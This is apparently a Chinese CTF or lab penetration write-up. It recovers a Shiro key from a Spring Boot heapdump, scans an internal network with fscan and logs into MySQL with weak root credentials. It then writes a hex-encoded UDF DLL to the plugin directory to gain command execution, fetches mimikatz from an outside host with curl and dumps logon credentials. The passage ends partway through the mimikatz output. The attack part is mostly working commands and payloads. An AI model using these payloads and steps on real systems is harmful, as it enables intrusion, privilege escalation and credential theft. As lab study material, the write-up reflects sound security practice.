java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.awt.headless = true
sun.io.unicode.encoding = UnicodeLittle
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
===========================================
MapPropertySources
-------------
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
java.util.logging.FileHandler.pattern = %h/java%u.log
awt.toolkit = sun.awt.X11.XToolkit
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.class.path = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
jdk.security.legacyAlgorithms = SHA1, RSA keySize < 2048, DSA keySize < 2048
java.vm.vendor = Private Build
jdk.disabled.namedCurves = secp112r1, secp112r2, secp128r1, secp128r2, secp160k1, secp160r1, secp160r2, secp192k1, secp192r1, secp224k1, secp224r1, secp256k1, sect113r1, sect113r2, sect131r1, sect131r2, sect163k1, sect163r1, sect163r2, sect193r1, sect193r2, sect233k1, sect233r1, sect239k1, sect283k1, sect283r1, sect409k1, sect409r1, sect571k1, sect571r1, X9.62 c2tnb191v1, X9.62 c2tnb191v2, X9.62 c2tnb191v3, X9.62 c2tnb239v1, X9.62 c2tnb239v2, X9.62 c2tnb239v3, X9.62 c2tnb359v1, X9.62 c2tnb431r1, X9.62 prime192v2, X9.62 prime192v3, X9.62 prime239v1, X9.62 prime239v2, X9.62 prime239v3, brainpoolP256r1, brainpoolP320r1, brainpoolP384r1, brainpoolP512r1
crypto.policy = unlimited
jceks.key.serialFilter = java.lang.Enum;java.security.KeyRep;java.security.KeyRep$Type;javax.crypto.spec.SecretKeySpec;!*
sun.arch.data.model = 64
login.configuration.provider = sun.security.provider.ConfigFile
catalina.useNaming = false
user.timezone =
security.overridePropertiesFile = true
java.vm.specification.version = 1.8
os.name = Linux
user.country = US
security.provider.7 = com.sun.security.sasl.Provider
sun.boot.library.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64
sun.java.command = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
security.provider.9 = sun.security.smartcardio.SunPCSC
jdk.security.caDistrustPolicies = SYMANTEC_TLS
sun.cpu.endian = little
user.home = /root
user.language = en
java.specification.vendor = Oracle Corporation
en = UTF-8
security.provider.1 = sun.security.provider.Sun
security.provider.2 = sun.security.rsa.SunRsaSign
security.provider.3 = sun.security.ec.SunEC
networkaddress.cache.negative.ttl = 10
jdk.tls.alpnCharset = ISO_8859_1
security.provider.4 = com.sun.net.ssl.internal.ssl.Provider
security.provider.5 = com.sun.crypto.provider.SunJCE
security.provider.6 = sun.security.jgss.SunProvider
ssl.KeyManagerFactory.algorithm = SunX509
file.separator = /
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
.level = INFO
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
ja = UTF-8
java.awt.headless = true
com.xyz.foo.level = SEVERE
package.definition = sun.,com.sun.xml.internal.,com.sun.imageio.,com.sun.istack.internal.,com.sun.jmx.,com.sun.media.sound.,com.sun.naming.internal.,com.sun.proxy.,com.sun.corba.se.,com.sun.org.apache.bcel.internal.,com.sun.org.apache.regexp.internal.,com.sun.org.apache.xerces.internal.,com.sun.org.apache.xpath.internal.,com.sun.org.apache.xalan.internal.extensions.,com.sun.org.apache.xalan.internal.lib.,com.sun.org.apache.xalan.internal.res.,com.sun.org.apache.xalan.internal.templates.,com.sun.org.apache.xalan.internal.utils.,com.sun.org.apache.xalan.internal.xslt.,com.sun.org.apache.xalan.internal.xsltc.cmdline.,com.sun.org.apache.xalan.internal.xsltc.compiler.,com.sun.org.apache.xalan.internal.xsltc.trax.,com.sun.org.apache.xalan.internal.xsltc.util.,com.sun.org.apache.xml.internal.res.,com.sun.org.apache.xml.internal.resolver.helpers.,com.sun.org.apache.xml.internal.resolver.readers.,com.sun.org.apache.xml.internal.security.,com.sun.org.apache.xml.internal.serializer.utils.,com.sun.org.apache.xml.internal.utils.,com.sun.org.glassfish.,com.oracle.xmlns.internal.,com.oracle.webservices.internal.,oracle.jrockit.jfr.,org.jcp.xml.dsig.internal.,jdk.internal.,jdk.nashorn.internal.,jdk.nashorn.tools.,jdk.xml.internal.,com.sun.activation.registries.,jdk.jfr.events.,jdk.jfr.internal.,jdk.management.jfr.internal.
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
java.runtime.version = 1.8.0_412-8u412-ga-1~20.04.1-b08
policy.provider = sun.security.provider.PolicyFile
user.name = root
policy.url.1 = file:${java.home}/lib/security/java.policy
path.separator = :
fr = UTF-8
securerandom.source = file:/dev/random
policy.url.2 = file:${user.home}/.java.policy
jdk.tls.disabledAlgorithms = SSLv3, TLSv1, TLSv1.1, RC4, DES, MD5withRSA, DH keySize < 1024, EC keySize < 224, 3DES_EDE_CBC, anon, NULL, include jdk.disabled.namedCurves
os.version = 5.4.0-187-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
policy.ignoreIdentityScope = false
java.runtime.name = OpenJDK Runtime Environment
keystore.type.compat = true
file.encoding = UTF-8
spring.beaninfo.ignore = true
java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter
java.vm.name = OpenJDK 64-Bit Server VM
jdk.sasl.disabledMechanisms =
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
java.io.tmpdir = /tmp
java.util.logging.FileHandler.formatter = java.util.logging.XMLFormatter
java.util.logging.FileHandler.count = 1
catalina.home = /tmp/tomcat.8080.4070673021461777528
sun.cds.enableSharedLookupCache = false
java.version = 1.8.0_412
sun.security.krb5.maxReferrals = 5
jdk.tls.keyLimits = AES/GCM/NoPadding KeyUpdate 2^37
java.vm.specification.name = Java Virtual Machine Specification
PID = 589
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
jdk.xml.dsig.secureValidationPolicy = disallowAlg http://www.w3.org/TR/1999/REC-xslt-19991116,disallowAlg http://www.w3.org/2001/04/xmldsig-more#rsa-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#hmac-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#md5,maxTransforms 5,maxReferences 30,disallowReferenceUriSchemes file http https,minKeySize RSA 1024,minKeySize DSA 1024,minKeySize EC 224,noDuplicateIds,noRetrievalMethodLoops
catalina.base = /tmp/tomcat.8080.4070673021461777528
java.library.path = /usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.util.logging.FileHandler.limit = 50000
java.vendor = Private Build
java.vm.info = mixed mode
keystore.type = jks
java.specification.maintenance.version = 5
handlers = java.util.logging.ConsoleHandler
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
sun.io.unicode.encoding = UnicodeLittle
policy.expandProperties = true
securerandom.strongAlgorithms = NativePRNGBlocking:SUN
krb5.kdc.bad.policy = tryLast
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
not found!
===========================================
UserPassSearcher
-------------
org.apache.shiro.web.filter.authc.FormAuthenticationFilter:
[failureKeyAttribute = shiroLoginFailure, loginUrl = /login, successUrl = /, usernameParam = username, passwordParam = password]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
===========================================
可以在里面找到shiro密钥
algMode = GCM, key = 0f+dthGML0M572/nBElv8g==, algName = AES
然后上蚁剑马即可,flag在根目录下
接下来以这个为跳板机,传个fscan扫一下
$ ./fscan -h 192.168.8.146/24
192.168.8.146:22 open
192.168.8.38:139 open
192.168.8.16:139 open
192.168.8.26:139 open
192.168.8.9:139 open
192.168.8.12:139 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.16:135 open
192.168.8.12:135 open
192.168.8.9:135 open
192.168.8.9:1433 open
192.168.8.38:445 open
192.168.8.26:445 open
192.168.8.16:445 open
192.168.8.12:445 open
192.168.8.9:445 open
192.168.8.42:80 open
192.168.8.42:22 open
192.168.8.26:8080 open
192.168.8.16:8080 open
192.168.8.146:8080 open
192.168.8.9:8000 open
192.168.8.9:80 open
192.168.8.38:3306 open
192.168.8.12:88 open
192.168.8.42:8060 open
192.168.8.9:8172 open
192.168.8.42:9094 open
[*] NetBios 192.168.8.9 WORKGROUP\WIN-IISSERER
[*] NetBios 192.168.8.26 WORKGROUP\WIN-PC3788
[*] NetBios 192.168.8.12 [+] DC:VERTEXSOFT\RODC
[*] NetBios 192.168.8.38 WORKGROUP\WIN-OPS88
[*] NetBios 192.168.8.16 WORKGROUP\WIN-SERVER03
[*] WebTitle http://192.168.8.42:8060 code:404 len:555 title:404 Not Found
[*] NetInfo
[*]192.168.8.12
[->]RODC
[->]192.168.8.12
[*] NetInfo
[*]192.168.8.38
[->]WIN-OPS88
[->]192.168.8.38
[*] NetInfo
[*]192.168.8.26
[->]WIN-PC3788
[->]192.168.8.26
[*] WebTitle http://192.168.8.9:8000 code:200 len:4018 title:Modbus Monitor - VertexSoft Internal Attendance System
[*] NetInfo
[*]192.168.8.9
[->]WIN-IISSERER
[->]192.168.8.9
[*] NetInfo
[*]192.168.8.16
[->]WIN-SERVER03
[->]192.168.8.16
[*] WebTitle http://192.168.8.146:8080 code:302 len:0 title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=6FF5708E4EEFFF8BDFC2934D53AC7C8F
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=6FF5708E4EEFFF8BDFC2934D53AC7C8F code:200 len:1383 title:Master ERP login Form
[*] WebTitle http://192.168.8.42 code:302 len:99 title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle http://192.168.8.26:8080 code:200 len:147 title:第一个 JSP 程序
[*] WebTitle http://192.168.8.9 code:200 len:43679 title:VertexSoft
[*] WebTitle https://192.168.8.9:8172 code:404 len:0 title:None
[*] WebTitle http://192.168.8.16:8080 code:403 len:594 title:None
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166 title:登录 · GitLab
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
[+] mysql 192.168.8.38:3306:root 123456
WIN-OPS88
[*] NetInfo
[*]192.168.8.38
[->]WIN-OPS88
[->]192.168.8.38
[+] mysql 192.168.8.38:3306:root 123456
做chisel代理把WIN-OPS88的数据库端口转发出来(其实可以直接做sockets代理出所有的内网ip,巨魔教的)
既然有账密,那么直接sql连上去,数据库里没别的东西
尝试udf提权,注意是win64的payload(这里我看别人直接用mdut工具一把梭了,而我的还在报错)
show variables like "%plugin%";
SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B4000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE "C:\\Program Files\\MySQL\\MySQL Server 8.0\\lib\\plugin\\udf.so";
CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";
select sys_eval("type C:\\Users\\Administrator\\flag\\flag.txt");
读到flag(草我怎么写了个so进去,应该是dll的)
接下来尝试丢mimikatz收集信息(实际无用)
select sys_eval("curl http://192.168.36.88:8080/mimikatz.exe -o mimikatz.exe");
select sys_eval('"mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > test.txt"');
select sys_eval('"mimikatz.exe "privilege::debug" "log" "lsadump::dcsync /user:Administrator" "exit" > test.txt"');
select sys_eval('"mimikatz.exe "privilege::debug" "log" "creds_all" "exit" > test.txt"');
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 68033 (00000000:000109c1)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-OPS88$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-ops88$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 31473 (00000000:00007af1)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-96-0-0
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 68016 (00000000:000109b0)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/21/2024 6:17:47 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WIN-OPS88$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
